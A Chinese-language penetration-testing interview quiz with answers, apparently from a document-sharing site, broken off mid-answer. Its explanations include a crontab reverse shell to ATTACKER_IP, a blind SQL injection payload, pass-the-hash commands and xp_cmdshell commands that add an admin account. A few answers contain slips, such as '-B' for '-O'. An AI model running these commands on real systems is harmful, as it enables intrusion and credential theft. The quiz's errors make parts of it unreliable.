版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
2026测试渗透面试题及答案一、单选题(每题2分,共30题)1.在渗透测试的授权阶段,以下哪项文件通常被视为测试的法律边界,明确规定了测试范围、时间及禁止操作?A.保密协议(NDA)B.渗透测试授权书C.服务水平协议(SLA)D.最终测试报告答案:B解析:渗透测试授权书是进行合法安全测试的核心法律文件,它定义了测试人员可以攻击的IP地址、域名、允许的测试时间窗口以及禁止使用的攻击手段(如拒绝服务攻击)。保密协议(NDA)主要保护敏感信息不外泄,SLA涉及服务质量,而报告是测试产出物。2.当使用Nmap扫描目标主机时,若想探测目标主机上运行的操作系统版本及准确度,应使用以下哪个参数?A.-sVB.-OC.-AD.-sC答案:B解析:-O参数用于启用操作系统检测。虽然-A(Aggressive模式)包含了-O和-sV,但题目仅询问操作系统版本探测,-B是最直接对应的选项。-sV用于服务版本探测,-sC用于使用默认脚本集。3.在SQL注入攻击中,攻击者利用数据库管理系统报错信息回显敏感数据的技术被称为?A.盲注B.联合查询注入C.报错注入D.布尔盲注答案:C解析:报错注入通过构造恶意的SQL语句,触发数据库内部的错误处理机制(如MySQL的ExtractValue、UpdateXML,或SQLServer的CONVERT),将查询结果包含在错误信息中返回给前端。联合查询注入需要有正常的显示位,盲注则不依赖错误回显或显示位。4.关于XSS(跨站脚本攻击),以下哪种类型最难以通过自动化扫描器发现,且攻击Payload不直接包含在HTTP响应的源码中?A.存储型XSSB.反射型XSSC.DOM型XSSD.mXSS(MutationXSS)答案:C解析:DOM型XSS的Payload仅在客户端的JavaScript执行过程中被解析并触发,恶意代码从未经过服务器端,因此服务端的扫描器无法在HTTP响应包中检测到该特征。它完全依赖于客户端DOM操作的逻辑漏洞。5.在Windows域环境中,攻击者通过Mimikatz抓取到内存中的LSA机密信息,这通常包括以下哪类高价值凭据?A.浏览器保存的密码B.NTLMHashC.SSH私钥D.DPAPI主密钥答案:B解析:Mimikatz的`sekurlsa::logonpasswords`模块主要用于从LSA(LocalSecurityAuthority)内存中提取当前登录会话的凭据,最核心的是NTLMHash和明文密码。虽然它也可以处理DPAPI,但在渗透测试中,NTLMHash是用于横向移动(如Pass-the-Hash)的关键凭据。6.BurpSuite中的Intruder模块主要用于进行哪种类型的测试?A.代理流量拦截B.模糊测试和枚举C.重放攻击D.编码与解码答案:B解析:Intruder模块是BurpSuite中用于自动化自定义攻击的核心组件,常用于进行Fuzzing(模糊测试)、枚举用户名、暴力破解密码、遍历ID号等。Repeater用于手动重放,Proxy用于拦截。7.以下哪个端口通常被用于Kerberos协议认证?A.88B.445C.389D.80答案:A解析:Kerberos默认使用TCP/UDP88端口。445是SMB,389是LDAP,80是HTTP。8.在文件上传漏洞利用中,若后端服务器使用黑名单机制过滤文件后缀,且代码逻辑中存在`%00`截断漏洞(在PHP5.3.4之前版本),攻击者应如何构造文件名?A.shell.php#.jpgB.shell.php%00.jpgC.shell.php;.jpgD.shell.jpg答案:B解析:在旧版本的PHP(特别是基于C语言实现的文件处理函数)中,`%00`(空字节)会被视为字符串的结束符。因此,上传`shell.php%00.jpg`时,后端验证逻辑可能只看到`.jpg`从而通过验证,但底层文件系统在保存时会截断在`%00`之前,最终保存为`shell.php`。9.针对Web应用防火墙(WAF)的绕过,以下哪种技术利用了HTTP协议规范与WAF解析差异的特性?A.SQL注释符混淆B.IP信誉欺骗C.CC攻击D.中间人攻击答案:A解析:SQL注释符混淆(如`/!.../`、`--`、`#`)利用了数据库引擎支持注释而WAF可能未正确解析或过滤注释内容的特性。此外,还有HTTP参数污染(HPP)、分块编码传输等协议层绕过手段。10.MetasploitFramework中,用于将生成的ShellCode绑定到特定端口,等待目标连接的模块类型是?A.ReverseShellB.BindShellC.MeterpreterD.PayloadStager答案:B解析:BindShell(正向连接)是在目标机器上开启一个监听端口,攻击者主动连接该端口。ReverseShell(反向连接)是目标机器主动连接攻击者的监听端口,在内网环境中更常见。11.以下哪个工具常用于无线局域网的渗透测试,支持监控模式、数据包注入和破解WEP/WPA/WPA2?A.WiresharkB.Aircrack-ngC.NmapD.Hydra答案:B解析:Aircrack-ng是专门用于无线网络安全评估的工具套件。Wireshark是通用协议分析器,Nmap用于端口扫描,Hydra用于暴力破解。12.在Python编写的自动化渗透脚本中,若要处理SSL证书错误(如自签名证书)并继续请求,通常使用以下哪个库的设置?A.`requests.get(url,verify=False)`B.`urllib.request.urlopen(url,ssl=True)`C.`socket.connect(url,secure=True)`D.`http.client.get(url,ignore_cert=True)`答案:A解析:在Python的`requests`库中,默认会验证SSL证书。设置`verify=False`可以忽略证书验证错误,这在处理内网自签名证书的HTTPS站点时非常必要。13.CVE-2021-44228(Log4Shell)漏洞的核心原理是?A.SQL注入B.JNDI注入C.缓冲区溢出D.文件包含答案:B解析:Log4Shell是Log4j2库中的远程代码执行漏洞。攻击者利用JNDI(JavaNamingandDirectoryInterface)功能,通过构造恶意的JNDIURL(如ldap://或rmi://),迫使服务器向攻击者控制的LDAP/RMI服务发起请求,从而加载恶意的Java类并执行。14.在Linux系统中,SUID文件是一种常见的提权手段。若攻击者发现`/bin/bash`拥有SUID权限,最直接的提权命令是?A.`./bash-p`B.`sudo-s`C.`chmodu+s/bin/bash`D.`usermod-aGroot`答案:A解析:当bash拥有SUID位时,运行`bash-p`(`-p`表示不重置有效用户ID)可以使bash以文件所有者(root)的权限运行,从而获得rootshell。`chmod`是修改权限,不是利用。15.CSRF(跨站请求伪造)攻击主要是利用了Web浏览器的哪个特性?A.同源策略B.Cookie自动发送机制C.沙箱隔离D.DOM树解析答案:B解析:CSRF攻击的核心在于浏览器在发送跨域请求时,会自动携带该域名下的Cookie(即使请求是跨域的)。如果应用仅依赖Cookie验证会话状态,而没有CSRFToken等二次验证,攻击者就可以诱导用户点击恶意链接完成非预期的操作。16.以下哪种编码方式常用于绕过WAF对`<script>`标签的检测?A.HTML实体编码B.Base64编码C.URL编码D.Hex编码答案:A解析:HTML实体编码(如`<`变为`<`,`>`变为`>`)可以被浏览器在解析HTML时自动还原。如果WAF没有对HTML实体进行解码就进行规则匹配,攻击者可以使用`<script>`来绕过检测。17.在内网渗透中,Bloodhound工具主要用于?A.密码爆破B.漏洞扫描C.分析域关系和寻找提权路径D.流量嗅探答案:C解析:Bloodhound(基于Neo4j图数据库)用于分析ActiveDirectory(AD)中的ACL、组成员关系、会话信息等,帮助攻击者可视化地找到从当前用户到域管的最短攻击路径。18.针对CMS(内容管理系统)的指纹识别,通常不依赖以下哪项信息?A.Meta标签中的GeneratorB.特定的静态文件路径(如/readme.html)C.HTTP响应头中的Server字段D.页面底部的版权信息文本答案:C解析:HTTP响应头中的Server字段通常透露的是Web服务器软件(如Nginx、Apache、IIS),而不是具体的CMS版本。虽然某些CMS可能会修改Server头,但这不是标准的指纹识别方式。19.在JWT(JSONWebToken)攻击中,若算法设置为`none`,且后端未严格校验,攻击者可以伪造任意身份。这种攻击被称为?A.算法混淆攻击B.密钥猜测攻击C.重放攻击D.空算法攻击答案:D解析:当JWT库支持`none`算法且未强制要求签名时,攻击者可以将Header中的算法改为`none`,删除签名部分,从而伪造任意Payload并通过验证。20.以下哪个命令在Windows中用于查看当前路由表?A.`ipconfig/all`B.`netstat-an`C.`routeprint`D.`arp-a`答案:C解析:`routeprint`用于显示路由表。`ipconfig`查看IP配置,`netstat`查看网络连接,`arp`查看ARP缓存。21.在TCP/IP协议栈中,SYNFlood攻击利用了TCP三次握手的哪个缺陷?A.服务端处理SYN+ACK包时消耗资源B.客户端不回复ACK包,导致服务端半连接队列溢出C.服务端无法处理大量的FIN包D.序列号预测错误答案:B解析:SYNFlood攻击者发送大量SYN包,服务端回复SYN+ACK并进入SYN_RCVD状态(半连接),等待客户端的ACK。由于攻击者不回复ACK,服务端半连接队列填满,无法处理新的正常连接。22.以下关于SSRF(服务器端请求伪造)的描述,错误的是?A.可以用来探测内网端口B.可以用来读取本地文件(如果协议支持)C.攻击载荷由受害者浏览器发起D.可以利用Gopher协议发送任意数据包答案:C解析:SSRF是由服务端发起请求,攻击者通过构造参数控制服务端的请求目标。攻击载荷不是由浏览器直接发起的(那是CSRF/XSS)。23.在Linux提权中,若当前用户对`/etc/crontab`文件有写权限,攻击者通常采取的操作是?A.添加一个反弹Shell的定时任务B.删除root用户的密码C.修改sshd配置文件D.替换`/bin/passwd`二进制文件答案:A解析:crontab是系统定时任务配置文件。若可写,攻击者可以添加一行定时任务,如`*****root/bin/bash-i>&/dev/tcp/ATTACKER_IP/PORT0>&1`,等待系统定时执行以获得root权限。24.以下哪种工具常用于Web应用程序的自动化漏洞扫描,且支持商业版和社区版?A.AppScanB.NessusC.AWVS(AcunetixWebVulnerabilityScanner)D.OpenVAS答案:C解析:AppScan和AWVS都是Web扫描器,但题目中提到的“商业版和社区版”模式更符合AWVS的运营方式(虽然有免费版限制)。Nessus和OpenVAS主要用于系统漏洞扫描。AWVS是针对Web应用的专用扫描器。25.在反序列化漏洞(如Java反序列化)中,ysoserial工具的主要作用是?A.生成序列化PayloadB.分析序列化数据结构C.检测反序列化漏洞D.加密Payload答案:A解析:ysoserial是Java反序列化漏洞利用的辅助工具,它利用已知的Java库(Commons-Collections等)中的GadgetChain(利用链),生成包含恶意命令执行的序列化对象数据。26.渗透测试中,获得了一个低权限的WebShell后,通常首先进行的操作是?A.安装后门B.提权C.枚举系统信息和内网环境D.擦除日志答案:C解析:获得初步立足点后,首要任务是信息收集(枚举)。了解操作系统版本、内核版本、用户权限、网络配置、已安装软件等,才能决定下一步的提权路径或横向移动策略。27.以下哪个HTTP状态码表示服务器端理解请求但拒绝执行,通常用于配置了IP白名单的情况?A.401B.403C.404D.500答案:B解析:403Forbidden表示服务器拒绝请求。401Unauthorized表示认证失败,404表示资源未找到,500表示服务器内部错误。28.在IDOR(不安全的直接对象引用)漏洞中,根本原因是?A.缺乏输入验证B.缺乏访问控制检查C.数据库配置错误D.会话管理失效答案:B解析:IDOR是指应用程序直接使用用户提供的输入(如ID、Key)来访问数据库中的对象,而没有在服务器端验证当前用户是否有权访问该对象。这是访问控制失效的典型表现。29.以下哪种技术属于“被动信息收集”?A.端口扫描B.查询DNS记录C.漏洞利用D.网站爬虫答案:B解析:被动信息收集是指不直接与目标系统交互,通过第三方渠道(如搜索引擎、DNS查询、Whois查询)获取信息。端口扫描、爬虫都会直接向目标发送请求,属于主动信息收集。30.针对AES加密的数据,若攻击者不知道密钥,但可以通过修改密文导致解密后的明文发生可预测的变化,这种攻击被称为?A.选择明文攻击B.位翻转攻击C.暴力破解D.侧信道攻击答案:B解析:位翻转攻击常用于流加密(如CTR模式)或某些未使用完整性校验的加密模式(如CBC)。攻击者虽然无法解密,但可以通过翻转密文中的特定位,使得明文中对应的位也发生翻转,从而改变解密后的数据结构(如修改Cookie中的`user=admin`)。二、多选题(每题3分,共15题)1.以下哪些属于OWASPTop102021中的漏洞类别?A.BrokenAccessControl(失效的访问控制)B.SecurityMisconfiguration(安全配置错误)C.Server-SideRequestForgery(SSRF)D.BufferOverflow(缓冲区溢出)答案:A,B,C解析:OWASPTop10关注Web应用最关键的风险。BrokenAccessControl、SecurityMisconfiguration和SSRF均在2021版中。BufferOverflow虽然严重,但更多属于底层软件漏洞,通常不列入WebTop10。2.在进行内网横向移动时,常用的协议或服务包括?A.SMB(ServerMessageBlock)B.WinRMC.WMID.SSH答案:A,B,C,D解析:SMB用于文件共享和Pass-the-Hash/Pass-the-Kitai攻击;WinRM和WMI是Windows远程管理服务,常用于命令执行;SSH是Linux/Unix远程登录标准。这些都是渗透测试中常用的横向移动手段。3.以下哪些工具可以用于进行暴力破解或字典攻击?A.MedusaB.PatatorC.JohntheRipperD.Hashcat答案:A,B,C,D解析:Medusa和Patator是网络服务暴力破解工具(支持SSH,FTP等)。JohntheRipper和Hashcat主要用于离线破解哈希值,但也常用于配合在线攻击的字典生成或哈希破解。4.以下哪些情况可能导致本地文件包含(LFI)漏洞?A.`include($_GET['file'].'.php');`B.`file_get_contents('/var/www/html/'.$_GET['image']);`C.使用白名单过滤文件名D.用户可控的文件路径未经过滤直接传入文件操作函数答案:A,B,D解析:A选项可能利用%00截断或包含文件流漏洞;B选项是典型的路径拼接导致任意文件读取;D是漏洞定义。C选项白名单是防御手段。5.关于HTTPS中间人攻击,以下说法正确的有?A.如果客户端不验证服务器证书,攻击者可以拦截流量B.如果攻击者拥有受信任的CA机构的根私钥,可以签发伪造证书C.HTTPS无法防止中间人攻击,因为SSL/TLS协议本身有缺陷D.浏览器通常预置了受信任的CA根证书列表答案:A,B,D解析:HTTPS本身设计上是安全的,前提是正确验证证书。A(如用户点击忽略警告)和B(极罕见,如CA被攻破)是MITM成功的条件。C说法错误。D是事实。6.渗透测试报告中,通常包含哪些部分?A.执行摘要B.漏洞详细描述与POCC.风险评级与修复建议D.测试人员的个人简历答案:A,B,C解析:报告应包含摘要、技术细节、风险和修复建议。测试人员简历属于隐私或无关信息,不应出现在交付给客户的报告中。7.以下哪些是Windows系统中的常见敏感文件或位置?A.C:\Windows\System32\config\SAMB.C:\Users\{username}\AppData\Local\Microsoft\Credentials\C./etc/shadowD.C:\unattend.xml答案:A,B,D解析:A是本地账户密码哈希数据库;B存储RDP等凭据;D是系统安装应答文件,可能包含base64编码的密码。C是Linux系统的文件。8.常见的Web容器中间件包括?A.TomcatB.NginxC.IISD.WebLogic答案:A,B,C,D解析:Tomcat(JavaServlet容器)、Nginx(Web服务器/反向代理)、IIS(微软Web服务器)、WebLogic(Java应用服务器)都是常见的Web服务相关软件。9.以下哪些技术可以用于防御XSS攻击?A.输出编码B.CSP(ContentSecurityPolicy)C.输入验证D.使用HttpOnlyCookie答案:A,B,C,D解析:输出编码(HTML实体化)是核心防御;CSP限制脚本来源;输入验证是辅助防御;HttpOnly防止Cookie被窃取(虽然不能防止XSS发生,但能降低危害)。10.在Linux系统中,`/etc/passwd`文件中每个用户记录包含的字段有?A.用户名B.密码哈希C.UIDD.GID答案:A,C,D解析:`/etc/passwd`包含:用户名:密码占位符:UID:GID:描述:家目录:Shell。密码哈希通常存储在`/etc/shadow`中(除非是极老的系统)。11.以下哪些属于CORS(跨域资源共享)配置错误导致的安全问题?A.`Access-Control-Allow-Origin:*`B.`Access-Control-Allow-Origin:null`C.`Access-Control-Allow-Credentials:true`且Origin可被攻击者控制D.仅允许同源请求答案:A,B,C解析:A允许所有域访问;B可能通过特殊技巧触发;C允许携带凭证的跨域请求,配合Origin反射可导致数据泄露。D是正确配置。12.Metasploit中,MeterpreterShell的优势包括?A.纯内存运行,不落地文件B.支持命令执行、文件上传下载、端口转发C.支持进程迁移D.支持通过路由表扩展内网穿透答案:A,B,C,D解析:Meterpreter是高级Payload,具有以上所有特性,是后渗透阶段的首选Shell类型。13.以下哪些属于DNS记录类型?A.A记录B.CNAME记录C.MX记录D.TXT记录答案:A,B,C,D解析:A(IPv4)、CNAME(别名)、MX(邮件交换)、TXT(文本)都是常见的DNS记录类型。14.识别Web应用防火墙(WAF)的方法包括?A.查看HTTP响应头中的Server字段B.触发特定攻击Payload观察拦截页面特征C.使用nmap的waf_detect脚本D.访问不存在的路径观察404页面样式答案:A,B,C,D解析:某些WAF会在响应头或Cookie中植入标识;触发攻击会返回特定的拦截页面;专用工具可以识别;WAF的默认错误页面往往有独特的HTML特征。15.以下哪些是Python中编写Web漏洞脚本的常用库?A.`requests`B.`BeautifulSoup`C.`scapy`D.`paramiko`答案:A,B,C,D解析:`requests`用于HTTP请求;`BeautifulSoup`用于HTML解析;`scapy`用于底层包构造(如TCP/IP);`paramiko`用于SSH连接,常用于配合漏洞利用后的后渗透。三、填空题(每题2分,共15题)1.在SQL注入中,若要获取当前数据库用户名,在MySQL中通常使用函数`user()`或`current_user()`。2.TCP三次握手过程中,客户端发送的第一个报文段标志位为`SYN`。3.在Linux系统中,用于查看当前所有网络连接的命令是`netstat`或`ss`。4.常见的Web容器Tomcat默认管理后台路径通常是`/manager`或`/manager/html`。5.Windows域环境中,存放用户账户信息的数据库文件是`NTDS.dit`。6.HTTP协议中,用于告知服务器客户端最后一次修改时间的请求头是`If-Modified-Since`。7.在Base64编码中,填充字符通常是`=`。8.Redis数据库默认端口是`6379`。9.XSS攻击中,用于窃取Cookie的常见JavaScript属性是`document.cookie`。10.Python中,用于执行系统命令的函数`os.system`返回的是状态码,而`subprocess.Popen`返回的是对象。11.在二进制漏洞利用中,`ret2libc`技术主要用于绕过`NX`(不可执行)保护。12.常见的端口扫描工具Nmap中,`-sS`参数代表`SYN`扫描(半开放扫描)。13.在HTTP状态码中,`301`和`302`都表示重定向,但`301`表示永久重定向。14.ActiveDirectory中,Kerberos协议使用的票据授予服务票据缩写为`TGS`。15.Wireshark过滤器中,用于过滤HTTPGET请求的语法是`http.request.method=="GET"`。四、简答题(每题10分,共5题)1.请详细解释CSRF(跨站请求伪造)的攻击原理,并列举三种有效的防御措施。答案与解析:攻击原理:CSRF是一种利用用户在已登录Web应用程序的未失效会话(SessionCookie),诱使用户在不知情的情况下点击恶意链接或访问恶意页面,从而向目标服务器发送非预期的请求。由于浏览器会自动携带目标域的Cookie,服务器会误认为是用户本人发起的合法操作(如修改密码、转账、发邮件)。防御措施:1.CSRFToken:服务器生成一个随机令牌,将其嵌入在表单或请求参数中,并在Cookie或Session中保存一份。提交请求时,服务器校验请求参数中的Token与Session中的Token是否一致。由于同源策略,攻击者无法读取目标页面的Token,从而无法构造合法请求。2.验证Referer/Origin头:检查HTTP请求头中的Referer或Origin字段,确保请求来源于受信任的域名。不过,Referer可以被某些浏览器或插件篡改或置空,且存在隐私问题。3.SameSiteCookie属性:设置Cookie的`SameSite`属性为`Strict`或`Lax`。`Strict`模式下,Cookie仅随同站请求发送;`Lax`模式下,允许一些顶级导航发送Cookie(如链接跳转)。这能有效阻止跨站请求携带Cookie。2.在SQL注入漏洞中,什么是盲注?请对比布尔盲注和时间盲注的区别,并给出一个基于MySQL的时间盲注Payload示例。答案与解析:盲注定义:盲注是在无法通过页面直接获取错误信息或查询结果(即没有回显)的情况下,利用数据库的逻辑判断或响应时间差异,逐位推测出数据的一种注入方式。区别对比:布尔盲注:依赖页面内容的差异。根据构造的SQL语句(如`length(database())>1`)返回True或False,页面会显示不同的内容(如True显示正常页,False显示错误页或空页)。攻击者通过观察页面响应判断条件真假。时间盲注:依赖响应时间的差异。当SQL条件为True时,利用`SLEEP()`或`BENCHMARK()`函数让数据库延迟执行几秒;为False时立即返回。攻击者通过判断响应时长来确定条件真假,适用于无论真假页面内容都一致的情况。时间盲注Payload示例(MySQL):假设猜测数据库名第一个字符的ASCII码是否大于100:`id=1'ANDIF(ASCII(SUBSTRING(DATABASE(),1,1))>100,SLEEP(5),1)---`解释:如果数据库名首字母ASCII大于100,数据库将休眠5秒,总响应时间会超过5秒;否则立即返回。3.简述Windows域渗透中的“Pass-the-Hash(PtH)”攻击原理及实施步骤。答案与解析:攻击原理:在Windows认证机制(尤其是SMB和WMI服务)中,服务器通常不需要客户端提供明文密码,而是验证客户端发送的NTLMHash。传统的攻击方式是破解Hash得到明文,而PtH攻击直接利用获取到的NTLMHash(无需解密)来进行身份认证,从而实现横向移动。实施步骤:1.获取Hash:通过Mimikatz(`sekurlsa::logonpasswords`)、读取SAM文件或导出LSA内存等方式获取目标用户的NTLMHash。2.利用工具进行攻击:Mimikatz:`sekurlsa::pth/user:administrator/domain:目标域名/ntlm:哈希值`。这会弹出一个具有该用户权限的CMD窗口。Impacket工具集(psexec.py/wmiexec.py):在Linux攻击机上使用`pythonpsexec.py-hashes:LM哈希:NTLM哈希域名/用户名@目标IP`。这里通常只需要NTLMHash,LMHash可以留空。Metasploit:使用`useexploit/windows/smb/psexec`模块,设置`SMBPass`为Hash。3.后续操作:认证成功后,即可在远程主机上执行命令、上传文件或进一步渗透。4.请解释XSS中的DOM型XSS与反射型XSS的区别,并说明为什么DOM型XSS通常更难被防御。答案与解析:区别:数据流向不同:反射型XSS的恶意数据从服务器端反射回浏览器,即数据流是:浏览器->服务器->浏览器。DOM型XSS的数据完全在客户端处理,数据流是:浏览器->浏览器(DOM解析),恶意Payload从未经过服务器端。触发位置不同:反射型XSS通常出现在HTML的响应体中,当浏览器渲染HTML时触发。DOM型XSS是由JavaScript代码动态操作DOM元素(如`eval`、`innerHTML`、`document.write`)导致Payload被当作代码执行。防御难点:1.服务器端WAF/过滤失效:由于Payload不经过服务器,传统的服务器端输入过滤、WAF设备、HTTP响应包扫描都无法检测到DOMXSS。2.隐蔽性强:Payload往往存在于URL的Hash(#)之后或Fragment中,这部分内容默认不会发送给服务器,服务器日志中完全无记录。3.源复杂:污染源可能来自`URL`、`document.referer`、``、`localStorage`等多个位置,追踪数据流变得非常困难。4.修复困难:需要深入审计前端JavaScript代码,对所有危险的Sink点(如`eval`、`setTimeout`)进行输入净化或编码,这在复杂的大型Web应用中工程量巨大。5.在内网渗透中,什么是“ACL攻击”?请简述基于ACL的常见提权或攻击手法。答案与解析:定义:ACL(访问控制列表)攻击是指利用ActiveDirectory或文件系统中配置错误的访问控制权限(ACL),来获取对敏感对象(如用户账户、组、脚本、配置文件)的非授权写入或控制权限,从而实现提权或持久化。常见手法:1.基于资源的受限委派:如果攻击者对某个计算机对象拥有`WriteDACL`或`GenericWrite`权限,可以修改该计算机对象的`msDS-AllowedToActOnBehalfOfOtherIdentity`属性,将自己控制的账户添加为该计算机的“被代表”账户,从而伪造S4U票据,获得该计算机的管理员权限。2.ForceChangePassword:如果攻击者对某个用户账户拥有`ForceChangePassword`权限,可以直接重置该用户的密码,然后登录。3.GenericAll(完全控制):如果攻击者对域管账户或高权限组拥有`GenericAll`,可以直接将自身添加到该组,或修改目标用户的密码。4.脚本/配置文件劫持:在文件系统中,如果攻击者对某个系统启动脚本(如组策略脚本、计划任务调用的脚本)所在目录有写入权限,可以修改脚本内容,插入恶意代码,等待系统或管理员执行时触发反弹Shell。五、综合应用题(每题15分,共2题)1.场景描述:你在对某企业内网进行渗透测试。你已经通过Web漏洞获取了一台位于DMZ区域的Web服务器(WindowsServer2012R2)的WebShell权限,该服务器同时连接了DMZ网络和内部办公网络。你发现Web服务器运行着一个IIS应用,且当前WebShell权限为`IISAppPool\DefaultAppPool`。问题:(1)请简述你从当前状态开始,进行信息收集以发现内网资产的具体步骤和命令。(2)假设你通过信息收集发现Web服务器上安装了SQLServer,且SQLServer服务以`LocalSystem`权限运行。你打算如何利用这一点进行提权?请提供具体思路。(3)提权成功后,你如何利用这台Web服务器作为跳板,对内网核心办公区(网段/24)进行横向移动扫描?答案与解析:(1)信息收集步骤:本机信息:使用`ipconfig/all`查看网卡配置,确认内网网段;使用`whoami/priv`查看当前特权;使用`netstat-ano`查看当前连接和监听端口,发现内网连接;使用`tasklist`查看进程,寻找敏感进程(如杀软、VPN、数据库客户端)。内网主机发现:使用ICMP协议扫描:`for/L%iin(1,1,254)do@ping192.168.10.%i-n1-w100&&echo192.168.10.%iisalive.`(WindowsCMD)。或者使用PowerShell:`1..254|%{Test-Connection-ComputerName192.168.10.$_-Count1-Quiet}`。端口扫描:针对存活主机进行常见端口(445,3389,80,22,3306,1433等)扫描,可使用PowerShell脚本或上传PortScan.exe等工具。(2)利用SQLServer提权思路:原理:SQLServer如果以`LocalSystem`或高权限运行,且当前WebShell能连接到数据库(或者通过xp_cmdshell执行系统命令),则可以进行系统命令执行。操作步骤:1.检查xp_cmdshell:尝试在SQL查询中执行`EXECmaster..xp_cmdshell'whoami'`。如果报错提示组件关闭,则尝试开启:`EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;`2.执行命令:开启成功后,执行`EXECmaster..xp_cmdshell'netuserhackerPass123!/add'`和`EXECmaster..xp_cmdshell'netlocalgroupadministratorshacker/add'`创建管理员。3.另一种方式(MS
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 豁痰解毒通络浸膏对大鼠急性心肌缺血模型的干预机制探究
- 调肺疏肝健脾法:腹泻型肠易激综合征肝郁脾虚证治疗新探
- 调压式无功自动补偿装置:原理、优势与多元应用探索
- 课例研究:驱动中学化学教师专业自主发展的引擎
- 说课:语文教师能力评价的双面镜-优势、局限与多元融合策略
- 语料库驱动:搭配错误研究与自然语言处理优化
- 语境顺应视角下《黄帝内经》英译本中疾病名称翻译研究:策略、差异与启示
- 语域理论视角下《老友记》幽默机制的深度剖析
- 语义单元自动获取:技术演进、方法与应用
- 试脱机患者呼吸机管路更换对相关性肺炎发生率影响的深度探究
- 2023-2025年中考语文试题分类汇编:病句辨识(原卷版)
- 2025年低压电工理论考试试题1000题
- 欠薪法律宣传课件
- 人大强基考试试题及答案
- 建设工程执法培训课件
- 心理健康课题中期报告范文
- 2025年重庆高一康德期末语文试卷及答案
- 2025年重庆市中考生物试卷真题(含标准答案)
- 2025河南大河网数字科技有限公司招聘74人522截止笔试参考题库附带答案详解
- (高清版)DG∕TJ 08-110-2021 餐饮单位清洁设计技术标准
- 非法金融活动类型与防范指南
评论
0/150
提交评论